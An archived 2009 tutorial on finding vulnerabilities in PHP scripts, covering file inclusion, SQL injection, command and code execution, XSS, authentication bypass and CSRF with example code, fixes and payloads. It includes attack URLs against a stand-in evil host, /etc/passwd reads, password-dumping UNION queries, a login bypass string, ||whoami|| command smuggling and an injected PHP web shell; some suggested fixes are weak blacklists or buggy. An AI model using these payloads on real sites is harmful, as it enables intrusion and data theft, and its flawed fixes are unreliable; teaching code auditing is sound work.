Finding vulnerabilities in PHP scripts (FULL)

Archived security papers and articles in various languages.

```
Name : Finding vulnerabilities in PHP scripts FULL ( with examples )
Author : SirGod
Email : sirgod08@gmail.com
Contents :
```

1) In this tutorial I will show you how you can find vulnerabilities in php scripts.I will not explain how to exploit the vulnerabilities,it is pretty easy and you can find info around the web.All the examples without the basic example of each category was founded in different scripts.

2) First,install Apache,PHP and MySQL on your computer.Addionally you can install phpMyAdmin. You can install WAMP server for example,it has all in one..Most vulnerabilities need special conditions to work.So you will need to set up properly the PHP configuration file (php.ini) .I will show you what configuration I use and why :

```
safe_mode = off ( a lot of shit cannot be done with this on )
disabled_functions = N/A ( no one,we want all )
register_globals = on ( we can set variables by request )
allow_url_include = on ( for lfi/rfi )
allow_url_fopen = on ( for lfi/rfi )
magic_quotes_gpc = off ( this will escape ' "  \  and NUL's  with a backslash and we don't want that )
short_tag_open = on ( some scripts are using short tags,better on )
file_uploads = on ( we want to upload )
display_errors = on ( we want to see the script errors,maybe some undeclared variables? )
```

How to proceed : First,create a database to be used by different scripts.Install the script on localhost and start the audit over the source code.If you found something open the web browser and

```
    test it,maybe you are wrong.


     3) Remote File Inclusion


             - Tips : You can use the NULLBYTE and ? trick.
                          You can use HTTPS and FTP to bypass filters ( http filtered )


           In PHP is 4 functions through you can include code.

          require - require() is identical to include() except upon failure it will produce a fatal E_ERROR
level error.
          require_once - is identical to require() except PHP will check if the file has already been
included, and if so, not include (require) it again.
          include - includes and evaluates the specified file.
          include_once -  includes and evaluates the specified file during the execution of the script.


           3.0 - Basic example


              - Tips : some scripts don't accept "http" in variables,"http" word is forbbiden so
                  you can use "https" or "ftp".

              - Code snippet from test.php

                -----------------------------------------------
                <?php
                $pagina=$_GET['pagina'];
                include $pagina;
                ?>
                -----------------------------------------------

                - If we access the page we got some errors and some warnings( not pasted ) :

                Notice: Undefined index: pagina in C:\wamp\www\test.php on line 2

        - We can see here that "pagina" variable is undeclared.We can set any value to "pagina"
variable.Example :

                    http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

                       Now I will show why some people use ? and %00 after the link to the evil script.

                 # The "%00"
```

- Code snippet from test.php

```
        -----------------------------------------------
        <?php
$pagina=$_GET['pagina'];
include $pagina.'.php';
?>
        -----------------------------------------------
```

- So if we will request

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt

Will not work because the script will try to include http://evilsite.com/evilscript.txt.php

So we will add a NULLBYTE (%00) and all the shit after nullbyte will not be taken in consideration.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt%00

The script will successfully include our evilscript and will throw to junk the things after the nullbyte.

# The "?"

- Code snippet from test.php

```
        -----------------------------------------------
        <?php
$pagina=$_GET['pagina'];
include $pagina.'logged=1';
?>
        -----------------------------------------------
```

And the logged=1 will become like a variable.But better use nullbyte.Example :

http://127.0.0.1/test.php?pagina=http://evilsite.com/evilscript.txt?logged=1

The evilscript will be included succesfully.

3.1 - Simple example

Now an example from a script.

- Code snippet from index.php

```
        ----------------------------------------------------
                       if (isset($_REQUEST["main_content"])){
   $main_content = $_REQUEST["main_content"];
} else if (isset($_SESSION["main_content"])){
   $main_content = $_SESSION["main_content"];
}
          ......................etc.................
                  ob_start();
 require_once($main_content);
        ----------------------------------------------------
```

We can see that "main_content" variable is requested by $_REQUEST method.The attacker can set any value that he want. Below the "main_content" variable is include.So if we make the following request :

```
http://127.0.0.1/index.php?main_content=http://evilsite.com/evilscript.txt
```

Our evil script will be successfully included.

3.2 - How to fix

Simple way : Don't allow special chars in variables.Simple way : filter the slash "/" .
Another way : filter "http" , "https" , "ftp" and "smb".

4) Local File Inclusion

- Tips : You can use the NULLBYTE and ? trick.
  ../ mean a directory up
  On Windows systems we can use "..\" instead of "../" .The "..\" will become "..%5C" (urlencoded).

The same functions which let you to include (include,include_once,require,require_once) .

4.0 - Basic example

- Code snippet from test.php

```
-----------------------------------
 <?php
 $pagina=$_GET['pagina'];
 include '/pages/'.$pagina;
 ?>
-----------------------------------
```

Now,we can not include our script because we can not include remote files.We can include only local files as you see.So if we make the following request :

```
http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd
```

The script will include "/pages/../../../../../../etc/passwd" successfully.

You can use the %00 and ? .The same story.

4.1 - Simple example

- Code snippet from install/install.php

```
     -------------------------------------
      if(empty($_GET["url"]))
   $url = 'step_welcome.php';
else
    $url = $_GET["url"];
      .............etc............
      <p><? include('step/'.$url) ?></p>
     -------------------------------------
```

We can see that "url" variable is injectable.If the "url" variable is not set (is empty) the script will include "step_welcome.php" else will include the variable set by the attacker.

So if we do the following request :

```
http://127.0.0.1/install/install.php?url=../../../../../../etc/passwd
```

The "etc/passwd" file will be succesfully included.

4.2 - How to fix

Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .

5) Local File Disclosure/Download

- Tips : Through this vulnerability you can read the content of files,not include.

Some functions which let you to read files :

```
file_get_contents â€" Reads entire file into a string
readfile â€" Outputs a file
file â€" Reads entire file into an array
fopen â€" Opens file or URL
highlight_file â€" Syntax highlighting of a file.Prints out or returns a syntax
               highlighted version of the code contained in filename using the
                                colors defined in the built-in syntax highlighter for
PHP.
show_source â€" Alias of highlight_file()
```

5.0 - Basic example

- Code snippet from test.php

```
--------------------------------------
 <?php
 $pagina=$_GET['pagina'];
 readfile($pagina);
 ?>
 --------------------------------------
```

The readfile() function will read the content of the specified file.So if we do the following request :

http://127.0.0.1/test.php?pagina=../../../../../../etc/passwd

The content of etc/passwd will be outputed NOT included.

5.1 - Simple example

- Code snippet from download.php

```
---------------------------------------------------------------------------------
$file = $_SERVER["DOCUMENT_ROOT"]. $_REQUEST['file'];
header("Pragma: public");
header("Expires: 0");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
header("Content-Type: application/force-download");
header( "Content-Disposition: attachment; filename=".basename($file));

//header( "Content-Description: File Transfer");
@readfile($file);
die();
-----------------------------------------------------------------------------------
```

The "file" variable is unsecure.We see in first line that it is requested by $_REQUEST method.

And the file is disclosed by readfile() function.So we can see the content of an arbitrary file.

If we make the following request :

```
http://127.0.0.1/download.php?file=../../../../../../etc/passwd
```

So we can succesfully read the "etc/passwd" file.

5.2 - How to fix

Simple way : Don't allow special chars in variables.Simple way : filter the dot "."
Another way : Filter "/" , "\" and "." .

6) SQL Injection

- Tips : If the user have file privileges you can read files.
If the user have file privileges and you find a writable directory and magic_quotes_gpc = off
you can upload you code into a file.

6.0 - Basic example

- Code snippet from test.php

```
        ----------------------------------------------------------------------------------
        <?php
        $id = $_GET['id'];
$result = mysql_query( "SELECT name FROM members WHERE id = '$id'");
        ?>
        ----------------------------------------------------------------------------------
```

The "id" variable is not filtered.We can inject our SQL code in "id" variable.Example :

```
http://127.0.0.1/test.php?id=1+union+all+select+1,null,load_file('etc/passwd'),4-
```

And we get the "etc/passwd" file if magic_quotes = off (escaping ') and users have file privileges.

6.1 - Simple example

- Code snippet from house/listing_view.php

```
                        -----------------------------------------------------------------------------------
------------------------------------------
                        $id = $_GET['itemnr'];
            require_once($home."mysqlinfo.php");
            $query = "SELECT title, type, price, bedrooms, distance, address, phone, comments, handle,
image from Rentals where id=$id";
            $result = mysql_query($query);
                        if(mysql_num_rows($result)){
                        $r = mysql_fetch_array($result);
                        -----------------------------------------------------------------------------------
------------------------------------------
```

We see that "id" variable value is the value set for "itemnr" and is not filtered in any way.
So we can inject our code.Lets make a request :

```
                           http://127.0.0.1/house/listing_view.php?
itemnr=null+union+all+select+1,2,3,concat(0x3a,email,password),5,6,7,8,9,10+from+users--
```

And we get the email and the password from the users table.

6.2 - SQL Injection Login Bypass

- Code snippet from /admin/login.php

```
                   ----------------------------------------------------------------------------------------
--------------------------------------
                    $postbruger = $_POST['username'];
            $postpass = md5($_POST['password']);
            $resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn =
'$postbruger' AND password = '$postpass'")
            or die("<p>" . mysql_error() . "</p>\n");
            -----------------------------------------------------------------------------------------------
-------------------------------
```

The variables isn't properly checked.We can bypass this login.Lets inject the fol username and password :

```
username : admin ' or ' 1=1
password : sirgod
```

We logged in.Why?Look,the code will become

```
---------------------------------------------------------------------------------------------------------------------------------
$resultat = mysql_query("SELECT * FROM " . $tablestart . "login WHERE brugernavn = 'admin' ' or ' 1=1  AND password = 'sirgod'")
---------------------------------------------------------------------------------------------------------------------------------
```

Login bypassed.The username must be an existent username.

6.3 - How to fix

Simple way : Don't allow special chars in variables.For numeric variables use (int) ,example $id=(int)$_GET['id'];

Another way : For non-numeric variables : filter all special chars used in SQLI : - , . ( ) ' " _ + / *

7) Insecure Cooke Handling

- Tips : Write the code in the URLbar,don't use a cookie editor for this.

7.0 - Basic example

- Code snippet from test.php

```
---------------------------------------------------------------
if($_POST['password'] == $thepass) {
setcookie("is_user_logged","1");
} else { die("Login failed!"); }
............ etc .................
if($_COOKIE['is_user_logged']=="1")
 { include "admin.php"; else { die('not logged'); }
---------------------------------------------------------------
```

Something interesting here.If we set to the "is_user_logged" variable from cookie value "1" we are logged in.Example :

```
javascript:document.cookie = "is_user_logged=1; path=/";
```

So practically we are logged in,we pass the check and we can access the admin panel.

7.1 - Simple example

- Code snippet from admin.php

```
----------------------------------------------------------------
if ($_COOKIE[PHPMYBCAdmin] == '') {
if (!$_POST[login] == 'login') {
die("Please Login:<BR><form method=post><input type=password
name=password><input type=hidden value=login name=login><input
type=submit></form>");
} elseif($_POST[password] == $bcadminpass) {
setcookie("PHPMYBCAdmin","LOGGEDIN", time() + 60 * 60);
header("Location: admin.php"); } else { die("Incorrect"); }
}
----------------------------------------------------------------
```

Code looks exploitable.We can set a cookie value that let us to bypass the login and tell to the script that we are already logged in.Example :

```
javascript:document.cookie = "PHPMYBCAdmin=LOGGEDIN; path=/";document.cookie =
"1246371700; path=/";
```

What is 1246371700? Is the current time() echo'ed + 360.

7.2 - How to fix

Simple way : The most simple and eficient way : use SESSIONS .

8) Remote Command Execution

- Tips : If in script is used exec() you can't see the command output(but the command is executed)
until the result isn't echo'ed from script.
You can use AND operator (||) if the script execute more than one command .

In PHP are some functions that let you to execute commands :

exec â€” Execute an external program
passthru â€” Execute an external program and display raw output
shell_exec â€” Execute command via shell and return the complete output as a string
system â€” Execute an external program and display the output

8.0 - Basic example

- Code snippet from test.php

```
---------------------------------
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
---------------------------------
```

So if we make the following request :

http://127.0.0.1/test.php?cmd=whoami

The command will be executed and the result will be outputed.

8.1 - Simple example

- Code snippet from dig.php

```
                  ---------------------------------------------------------------------------------------
----
                  $status = $_GET['status'];
                  $ns  = $_GET['ns'];
                  $host   = $_GET['host'];
                  $query_type   = $_GET['query_type']; // ANY, MX, A , etc.
                  $ip     = $_SERVER['REMOTE_ADDR'];
                  $self   = $_SERVER['PHP_SELF'];
                  ........................ etc ........................
                  $host = trim($host);
                  $host = strtolower($host);
                  echo("<span class=\"plainBlue\"><b>Executing : <u>dig @$ns $host $query_type</u></b>
<br>");
                  echo '<pre>';
              system ("dig @$ns $host $query_type");
                      -----------------------------------------------------------------------------------
--------
```

The "ns" variable is unfiltered and can be specified by the attacker.An atta can use any command that he want through this variable.

Lets make a request :

```
http://127.0.0.1/dig.php?ns=whoam&host=sirgod.net&query_type=NS&status=digging
```

The injection will fail.Why?The executed command will be : dig whoami sirgod.com NS and will not work of course.Lets do something a little bit tricky.We have the AND operator (||) and we will use it to separe the commands.Example :

```
http://127.0.0.1/dig.php?ns=||whoami||&host=sirgod.net&query_type=NS&status=digging
```

Our command will be executed.The command become "dig ||whoami|| sirgod.net NS".

8.2 - Advanced example

- Code snippet from add_reg.php

```
-------------------------------------------------------
$user = $_POST['user'];
$pass1 = $_POST['pass1'];
$pass2 = $_POST['pass2'];
$email1 = $_POST['email1'];
$email2 = $_POST['email2'];
$location = $_POST['location'];
$url = $_POST['url'];
$filename = "./sites/".$user.".php";
...................etc......................
$html = "<?php
\$regdate = \"$date\";
\$user = \"$user\";
\$pass = \"$pass1\";
\$email = \"$email1\";
\$location = \"$location\";
\$url = \"$url\";
?>";
$fp = fopen($filename, 'a+');
fputs($fp, $html) or die("Could not open file!");
-------------------------------------------------------
```

We can see that the script creates a php file in "sites" directory(ourusername.php).

The script save all the user data in that file so we can inject our evil code into one field,I choose the "location" variable.

So if we register as an user with the location (set the "location" value) :

```
   <?php system($_GET['cmd']); ?>
```

the code inside sites/ourusername.php will become :

```
  -------------------------------------------------
  <?php
  $regdate = "13 June 2009, 4:16 PM";
  $user = "pwned";
  $pass = "pwned";
  $email = "pwned@yahoo.com";
  $location = "<?php system($_GET['cmd']); ?>";
  $url = "http://google.ro";
  ?>
          -------------------------------------------------
```

So we will get an parse error.Not good.We must inject a proper code to get the result that we want.

Lets inject this code :

```
   \";?><?php system(\$_GET['cmd']);?><?php \$xxx=\":D
```

So the code inside sites/ourusername.php will become :

```
  --------------------------------------------------------------
  <?php
  $regdate = "13 June 2009, 4:16 PM";
  $user = "pwned";
  $pass = "pwned";
  $email = "pwned@yahoo.com";
  $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
  $url = "http://google.ro";
  ?>
          --------------------------------------------------------------
```

and we will have no error.Why?See the code :

```
     $location = "";?><?php system($_GET['cmd']);?><?php $xxx=":D";
```

Lets split it :

```
-------------------------------
$location = "";
```

```
?>
<?php system($_GET['cmd']);?>
<?php $xxx=":D";
        ------------------------------
```

We set the location value to "",close the first php tags,open the tags again,wrote our evil code,close the tags and open other and add a variable "xxx" because we dont want any error.I wrote that code because I want no error,can be modified to be small but will give some errors(will not stop us to execute commands but looks ugly).

So if we make the following request :

```
http://127.0.0.1/sites/ourusername.php?cmd=whoami
```

And our command will be succesfully executed.

8.3 - How to fix

Simple way : Don't allow user input .

Another way : Use escapeshellarg() and escapeshellcmd() functions .

Example : $cmd=escapeshellarg($_GET'cmd']);

9) Remote Code Execution

- Tips : You must inject valid PHP code including terminating statements (;) .

9.0 - Basic example

- Code snippet from test.php

```
 -----------------------------------
  <?php
  $code=$_GET['code'];
  eval($code);
  ?>
  -----------------------------------
```

The "eval" function evaluate a string as PHP code.So in this case we are able to execute our PHP code.Examples :

```
http://127.0.0.1/test.php?code=phpinfo();
```

```
http://127.0.0.1/test.php?code=system(whoami);
```

And we will see the output of the PHP code injected by us.

9.1 - Simple example

- Code snippet from system/services/init.php

```
        -----------------------------------------------
        $conf = array_merge($conf,$confweb);
        }
        @eval(stripslashes($_REQUEST['anticode']));
if ( $_SERVER['HTTP_CLIENT_IP'] )
        -----------------------------------------------
```

We see that the "anticode" is requested by $_REQUEST method and the coder "secured" the input with "stripslashes" which is useless here,we don't need slashes to execute our php code only if we want to include a URL.So we can inject our PHP code.Example :

```
http://127.0.0.1/test.php?anticode=phpinfo();
```

Great,injection done,phpinfo() result printed.No include because slashes are removed,but we can use system() or another function to execute commands.

9.2 - How to fix

Simple way : Don't allow ";" and the PHP code will be invalid.
Another way : Don't allow any special char like "(" or ")" etc.

10) Cross-Site Scripting

- Tips : You can use alot of vectors,can try alot of bypass methods,you cand find them around the web.

10.0 - Basic example

- Code snippet from test.php

```
--------------------------------
```

```
<?php
$name=$_GET['name'];
print $name;
?>
--------------------------------
```

The input is not filtered,an attacker can inject JavaScript code.Example :

```
http://127.0.0.1/test.php?name=<script>alert("XSS")</script>
```

A popup with XSS message will be displayed.JavaScript code succesfully executed.

10.1 - Another example

- Code snippet from test.php

```
------------------------------------------
 <?php
 $name=addslashes($_GET['name']);
 print '<table name="'.$name.'"></table>';
 ?>
------------------------------------------
```

Not an advanced example,only a bit complicated.

```
http://127.0.0.1/test.php?name="><script>alert(String.fromCharCode(88,83,83))</script>
```

Why this vector?We put " because we must close the " from the "name" atribut of the "table" tag and > to close the "table" tag.Why String.fromCharCode?Because we want to bypass addslashes() function.Injection done.

10.2 - Simple example

- Code snippet from modules.php

```
---------------------------------------------------------------------------
if (isset($name)) {
.................... etc................
} else {
die("Le fichier modules/".$name."/".$mod_file.".php est inexistant");
---------------------------------------------------------------------------
```

The "name" variable is injectable,input is not filtered,so we can inject

```
        with ease JavaScript code.Example :

              http://127.0.0.1/test.php?name=<script>alert("XSS")</script>


 10.3 - How to fix


        Simple way : Use htmlentities() or htmlspecialchars() functions.
                    Example : $name=htmlentities($_GET['name']);
                Another way : Filter all special chars used for XSS ( a lot ).
                    The best way is the first method.


11) Authentication Bypass


   - Tips : Look deep in the scripts,look in the admin directories,
              maybe are not protected,also look for undefined variables
                      like "login" or "auth".


 11.0 - Basic example


         I will provide a simple example of authentication bypass
        via login variable.

         - Code snippet from test.php

         ---------------------------------
         <?php
         if ($logged==true) {
         echo 'Logged in.'; }
         else {
         print 'Not logged in.';
         }
         ?>
         ---------------------------------

          Here we need register_gloabals = on . I will talk about php.ini
        settings a bit later in this tutorial.If we set the value of $logged
        variable to 1 the if condition will be true and we are logged in.
          Example :

                http://127.0.0.1/test/php?logged=1

          And we are logged in.
```

11.1 - Via login variable

- Code snippet from login.php

```
-------------------------------------------------------------------------------------
if ($login_ok)
{
$_SESSION['loggato'] = true;
echo "<p>$txt_pass_ok</p>";
echo"<div align='center'><a href='index.php'>$txt_view_entry</a> |
<a href='admin.php'>$txt_delete-$txt_edit</a> | <a href='install.php'>$txt_install
</a></div>";
}
-------------------------------------------------------------------------------------
```

Lets see.If the "login_ok" variable is TRUE (1) the script set us a SESSION who tell to the script that we are logged in.So lets set the "login_ok" variable to TRUE.
Example :

```
http://127.0.0.1/login.php?login_ok=1
```

Now we are logged in.

11.2 - Unprotected Admin CP

You couln't belive this but some PHP scrips don't protect the admin control panel : no login,no .htaccess,nothing.So we simply we go to the admin panel directory and we take the control of the website.
Example :

```
http://127.0.0.1/admin/files.php
```

We accessed the admin panel with a simple request.

11.3 - How to fix

- Login variable bypass : Use a REAL authentication system,don't check the login like that,use SESSION verification.Example :

```
if($_SESSION['logged']==1) {
    echo 'Logged in'; }
```

```
                      else { echo 'Not logged in';
                      }
```

- Unprotected Admin CP : Use an authentication system or use .htaccess to allow access from specific IP's or .htpasswd to request an username and a password for admin CP.

Example :

```
                          .htaccess :

                              order deny, allow
                              deny from all
                              allow from 127.0.0.1

                          .htpasswd :

                              AuthUserFile /the/path/.htpasswd
                              AuthType Basic
                              AuthName "Admin CP"
                              Require valid-user

                                  and /the/path/.htpasswd

                                  sirgod:$apr1$wSt1u...$6yvagxWk.Ai2bD6s6O9iQ.
```

12) Insecure Permissions

Tips : Look deep into the files,look if the script request to be logged in to do something,maybe the script don't request. Watch out for insecure permissions,maybe you can do admin things without login.

12.0 - Basic example

We are thinking at a script who let the admin to have a lookup in the users database through a file placed in /admin directory.That file is named...hmmm : db_lookup.php.

- Code snippet from admin/db_lookup.php

```
--------------------------------------------
<?php
// Lookup in the database
```

```
readfile('protected/usersdb.txt');
?>
--------------------------------------------
```

Lets think.We cannot access the "protected" directory because is .htaccess'ed.But look at this file,no logged-in check,nothing. So if we acces :

http://127.0.0.1/admin/db_lookup.php

We can see the database.Remember,this is only an example created by me,not a real one,you can find this kind of vulnerabilities in scripts.

12.1 - Read the users/passwords

Oh yeah,some coders are so stupid.They save the usernames and passwords in text files,UNPROTECTED.A simple example from a script :

http://127.0.0.1/userpwd.txt

And we read the file,the usernames and passwords are there.

12.2 - Download Backups

Some scripts have database backup functions,some are safe,some are not safe. I will show you a real script example :

- Code snippet from /adminpanel/phpmydump.php

```
--------------------------------------------------------------------------------
function mysqlbackup($host,$dbname, $uid, $pwd, $structure_only, $crlf) {
$con=@mysql_connect("localhost",$uid, $pwd) or die("Could not connect");
$db=@mysql_select_db($dbname,$con) or die("Could not select db");
.............................. etc ..........................
 mysqlbackup($host,$dbname,$uname,$upass,$structure_only,$crlf);
--------------------------------------------------------------------------------
```

After a lof of code the function is called.I don't pasted the entire code because is huge.I analyzed the script,no login required,no check,nothing.So if we access the file directly the download of the backup will start.Example :

http://127.0.0.1/adminpanel/phpmydump.php

Now we have the database backup saved in our computer.

12.3 - INC files

Some scripts saves important data in INC files.Usually in INC files is PHP code containing database configuration.The INC files can be viewed in browser even they contain PHP code.So a simple request will be enough to access and read the file.Example :

```
http://127.0.0.1/inc/mysql.inc
```

Now we have the database connection details.Look deep in scripts,is more scripts who saves important data into INC files.

12.4 - How to fix

```
  - Basic example : Check if the admin is logged in,if not,redirect.

      - Read the users/passwords : Save the records in a MySQL database
                                   or in a protected file/directory.

  - Download Backups : Check if the admin is logged in,if not,redirect.

      - INC files : Save the configuration in proper files,like .php or
                    protect the directory with an .htaccess file.
```

13) Cross Site Request Forgery

```
- Tips : Through CSRF you can change the admin password,is not
           so inofensive.
                 Can be used with XSS,redirected from XSS.
```

13.0 - Basic example

- Code snippet from test.php

```
-----------------------------------------
<?php
check_auth();
if(isset($_GET['news']))
{ unlink('files/news'.$news.'.txt'); }
```

```
else {
die('File not deleted'); }
?>
----------------------------------------
```

In this example you will see what is CSRF and how it works.In the "files" directory are saved the news written by the author.The news are saved like "news1.txt","news2.txt" etc. So the admin can delete the news.The news that he want to delete will be specified in "news" variable.If he want to delete the news1.txt the value of "news" will be "1".We cannot execute this without admin permissions,look,the script check if we are logged in.

I will show you an example.If we request :

```
http://127.0.0.1/test.php?news=1
```

The /news/news1.txt file will be deleted.The script directly delete the file without any notice.So we can use this to delete a file.All we need is to trick the admin to click our evil link and the file specified by us in the "news" variable will be deleted.

13.1 - Simple example

In a way the codes below are included in the index.php file ,I will not paste all the includes,there are a lot.

- Code snippet from includes/pages/admin.php

```
--------------------------------------------------------------------
if ($_GET['act'] == '') {
include "includes/pages/admin/home.php";
} else {
include "includes/pages/admin/" . $_GET['act'] . ".php";
        --------------------------------------------------------------------
```

Here we can see how the "includes/pages/admin/members.php" is included in this file.If "act=members" the file below will be included.

- Code snippet from includes/pages/admin/members.php

```
        ----------------------------------------------------------------------------------------
------

        if ($_GET['func'] == 'delete') {
        $del_id = $_GET['id'];
        $query2121 = "select ROLE from {$db_prefix}members WHERE ID='$del_id'";
        $result2121 = mysql_query($query2121) or die("delete.php - Error in query: $query2121");
        while ($results2121 = mysql_fetch_array($result2121)) {
        $their_role = $results2121['ROLE'];
        }
        if ($their_role != '1') {
mysql_query("DELETE FROM {$db_prefix}members WHERE id='$del_id'") or die(mysql_error
());
        ------------------------------------------------------------------------------------------
------
```

We can see here that if "func=delete" will be called by URL,the script will delete from the database a user with the specified ID ($id) without any confirmation.Example :

```
http://127.0.0.1/index.php?page=admin&act=members&func=delete&id=4
```

The script check if the admin is logged in so if we trick the admin to click our evil link the user who have the specified ID in the database will be deleted without any confirmation.

13.2 - How to fix

- Simple way : Use tokens.At each login,generate a random token and save it in the session.Request the token in URL to do administrative actions,if the token missing or is wrong,don't execute the action.I will show you only how to to check if the token is present and is correct.Example :

```
                                    ------------------------------------------
-------------

                                     <?php
                                     check_auth();
                                     if(isset($_GET['news']) &&
$token=$_SESSION['token'])

                                     { unlink('files/news'.$news.'.txt'); }
                                     else {
                                     die('Error.'); }
                                     ?>
                                     -----------------------------------------
--------------
```

The request will look like this one :

```
http://127.0.0.1/index.php?delete=1&token=
[RANDOM_TOKEN]
```

So this request will be fine,the news will be deleted.

```
                - Another way : Do some complicated confirmations or request a password
                               to do administrative actions.


        14) Shoutz


            Shoutz to all www.insecurity.ro & www.h4cky0u.org members.If you have some suggestions or
          questions just email me.

# milw0rm.com [2009-09-09]
```